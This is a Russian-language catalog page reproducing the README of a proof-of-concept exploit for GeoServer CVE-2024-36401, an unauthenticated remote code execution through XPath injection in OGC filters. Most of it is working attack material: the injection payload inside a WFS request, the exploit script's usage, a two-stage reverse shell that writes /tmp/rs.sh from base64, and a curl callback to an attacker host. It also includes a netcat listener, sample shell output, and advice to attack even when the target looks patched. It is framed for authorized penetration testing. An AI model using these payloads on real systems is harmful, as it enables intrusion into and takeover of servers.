Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-36401-poc — Неаутентифицированный эксплойт RCE для GeoServer (CVE-2024-36401) через XPath-инъекцию в фильтре OGC. Поддерживает reverse shell и слепое выполнение команд с автоматическим определением версии и зондированием типов объектов. | Kitploit
Инструменты/GitHubGitHub/delt-a/cve-2024-36401-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

Неаутентифицированный эксплойт RCE для GeoServer (CVE-2024-36401) через XPath-инъекцию в фильтре OGC. Поддерживает reverse shell и слепое выполнение команд с автоматическим определением версии и зондированием типов объектов.

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-36401 — GeoServer OGC XPath Injection RCE

Python CVE CVSS License

Эксплойт неаутентифицированного удалённого выполнения кода для GeoServer через внедрение параметра valueReference в OGC-фильтры (выполнение XPath/JXPath).

Отказ от ответственности: Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований в области безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый данным инструментом.


Содержание

  • Обзор
  • Затронутые версии
  • Технические подробности
  • Требования
  • Установка
  • Использование
  • Примеры
  • Принцип работы
  • Устранение неполадок
  • Ссылки

  • Обзор

    GeoServer — это сервер на Java с открытым исходным кодом для обмена геопространственными данными, широко развёрнутый в государственных, корпоративных и научных средах. CVE-2024-36401 позволяет неаутентифицированному злоумышленнику выполнять произвольные команды ОС на хосте путём внедрения Java-выражений в параметры OGC-фильтров (Open Geospatial Consortium).

    Уязвимость была добавлена в каталог CISA Known Exploited Vulnerabilities (KEV) в июле 2024 года из-за активной эксплуатации в реальных атаках.


    Затронутые версии

    ВеткаУязвимый диапазонИсправлено в
    2.23.x< 2.23.62.23.6
    2.24.x< 2.24.42.24.4
    2.25.x< 2.25.22.25.2

    Версии GeoServer старше 2.23.0 также, вероятно, уязвимы, но больше не поддерживаются и не тестировались.


    Технические подробности

    GeoServer использует библиотеку GeoTools для вычисления выражений OGC-фильтров. Параметр valueReference (а также другие, например CQL_FILTER) передаётся в JXPathContext.selectNodes() из Apache Commons JXPath без санитизации.

    JXPath поддерживает вызов произвольных Java-методов через выражения вида:

    root@kitploit:~
    exec(java.lang.Runtime.getRuntime(), 'id')
    

    Это вычисление происходит до проверки аутентификации для определённых конечных точек, что делает уязвимость полностью неаутентифицированной.

    Уязвимые конечные точки:

    • POST /geoserver/wfs — запрос GetPropertyValue с параметром valueReference
    • GET /geoserver/ows — тот же параметр через строку запроса

    Ключевое техническое замечание: выражение valueReference должно использовать одинарные кавычки (') вокруг строки команды. Двойные кавычки (") вызывают ошибки разбора XML и препятствуют выполнению — это распространённая ошибка в других публичных PoC.


    Требования

    • Python 3.9+
    • библиотека requests
    • Целевая система с уязвимой версией GeoServer, имеющая хотя бы один доступный тип объектов WFS (достаточно стандартных демонстрационных рабочих областей sf, topp, tiger)

    Установка

    root@kitploit:~
    git clone https://github.com/Delt-A/CVE-2024-36401-poc
    cd CVE-2024-36401-poc
    pip3 install requests
    

    Или установите зависимости напрямую:

    root@kitploit:~
    pip3 install requests
    

    Использование

    root@kitploit:~
    usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                      [-c CMD] [-f FEATURE]
    
    options:
      -h, --help            show this help message and exit
      -t, --target TARGET   Target URL, e.g. http://<TARGET>:8080
      -l, --lhost LHOST     Your IP address for reverse shell callback
      -p, --lport LPORT     Listener port (default: 4444)
      -c, --cmd CMD         Single command to execute (no output returned)
      -f, --feature FEATURE Feature type override (auto-detected if omitted)
    

    Режимы

    РежимФлагиОписание
    Обратная оболочка-l LHOST -p LPORTДвухэтапная обратная оболочка через bash
    Выполнение команды-c CMDВыполнение одной команды (вслепую — без вывода)
    Переопределение типа объекта-f FEATUREПропустить автоопределение, использовать указанный тип

    Примеры

    1. Обратная оболочка (рекомендуется)

    Сначала запустите прослушиватель:

    root@kitploit:~
    nc -lvnp 4444
    

    Затем запустите эксплойт:

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -l <LHOST> \
      -p 4444
    

    Ожидаемый вывод:

    root@kitploit:~
       _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
      / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
     / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
    / /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
    \____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
       ___
      <  /
      / /
     / /
    /_/
    
      GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
      Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6
    
    [*] Target : http://<TARGET>:8080
    
    [+] GeoServer detected — version: 2.24.2
    [+] Version 2.24.2 is VULNERABLE
    [*] Probing feature types...
    [+] Feature type: sf:archsites
    
    [*] Feature type : sf:archsites
    [*] Listener      : <LHOST>:4444
    [*] Start         : nc -lvnp 4444
    
    [*] Stage 1 — writing /tmp/rs.sh on target...
    [+] Payload delivered via sf:archsites
    [*] Stage 2 — executing → <LHOST>:4444
    [+] Done — check your listener
    

    На прослушивателе:

    root@kitploit:~
    Connection received on <TARGET> 43210
    bash: cannot set terminal process group: Inappropriate ioctl for device
    bash: no job control in this shell
    geoserver@target:~$
    

    2. Выполнение команды (вслепую)

    Выполните команду без получения вывода. Полезно для внешней проверки (out-of-band) или записи файлов:

    root@kitploit:~
    # Проверка выполнения через создание файла
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -c "touch /tmp/pwned"
    
    # Вызов curl callback для подтверждения выполнения
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -c "curl http://<LHOST>:8000/pwned"
    

    Примечание: команды, содержащие метасимволы оболочки (>, |, &, ;), автоматически кодируются в base64, чтобы избежать проблем с разбором.


    3. Указание типа объекта вручную

    Если автоматическое определение не удалось, укажите известный тип объекта целевой системы:

    root@kitploit:~
    python3 exploit_CVE-2024-36401.py \
      -t http://<TARGET>:8080 \
      -l <LHOST> \
      -p 4444 \
      -f topp:states
    

    Распространённые типы объектов, входящие в демонстрационные данные GeoServer:

    Рабочая областьТип объекта
    sfsf:archsites, sf:bugsites, sf:roads, sf:streams
    topptopp:states, topp:tasmania_cities, topp:tasmania_roads
    tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
    citecite:Buildings

    Принцип работы

    Эксплойт отправляет WFS-запрос GetPropertyValue с вредоносным выражением valueReference:

    root@kitploit:~
    <wfs:GetPropertyValue service='WFS' version='2.0.0'
      xmlns:wfs='http://www.opengis.net/wfs/2.0'>
      <wfs:Query typeNames='sf:archsites'/>
      <wfs:valueReference>
        exec(java.lang.Runtime.getRuntime(),'COMMAND')
      </wfs:valueReference>
    </wfs:GetPropertyValue>
    

    Для обратной оболочки используется двухэтапный подход, чтобы избежать проблем с метасимволами оболочки внутри строкового аргумента exec():

    Этап 1 — запись обратной оболочки в /tmp/rs.sh с использованием base64-кодирования и подстановки фигурных скобок в bash (без пробелов в строке exec):

    root@kitploit:~
    bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
    

    Этап 2 — выполнение скрипта:

    root@kitploit:~
    bash /tmp/rs.sh
    

    Такой подход позволяет избежать необходимости в интерпретаторе оболочки в первом вызове exec(), что делает его надёжным для различных конфигураций системы.


    Устранение неполадок

    [-] Cannot connect to target

    • Проверьте правильность URL и порта целевой системы
    • Убедитесь, что GeoServer запущен: curl http://<TARGET>:8080/geoserver/web/

    [-] No usable feature type found

    • Демонстрационные данные GeoServer могут быть не установлены
    • Попробуйте указать собственный тип объекта с помощью -f <workspace>:<type>
    • Список доступных типов: curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"

    [+] Payload delivered, но оболочка не получена

    • Убедитесь, что прослушиватель запущен до отправки эксплойта
    • Проверьте правила брандмауэра — целевая система должна иметь возможность подключиться к вашему LHOST:LPORT
    • Некоторые PoC используют двойные кавычки (") вокруг команды — это не работает. Убедитесь, что внутри выражения valueReference используются одинарные кавычки (').

    [!] Version X.X.X may be patched — attempting anyway

    • Скрипт всегда пытается выполнить эксплойт независимо от определённой версии
    • Определение версии может завершиться неудачей, если страница About ограничена; эксплойт всё равно может сработать

    Ссылки

    • NVD — CVE-2024-36401
    • GitHub Advisory — GHSA-7g64-hx6g-4427
    • Рекомендации по безопасности GeoServer
    • Каталог CISA KEV
    • Патч GeoTools JXPath

    Лицензия

    Этот проект распространяется под лицензией MIT. Подробности см. в LICENSE.

    Скачать инструмент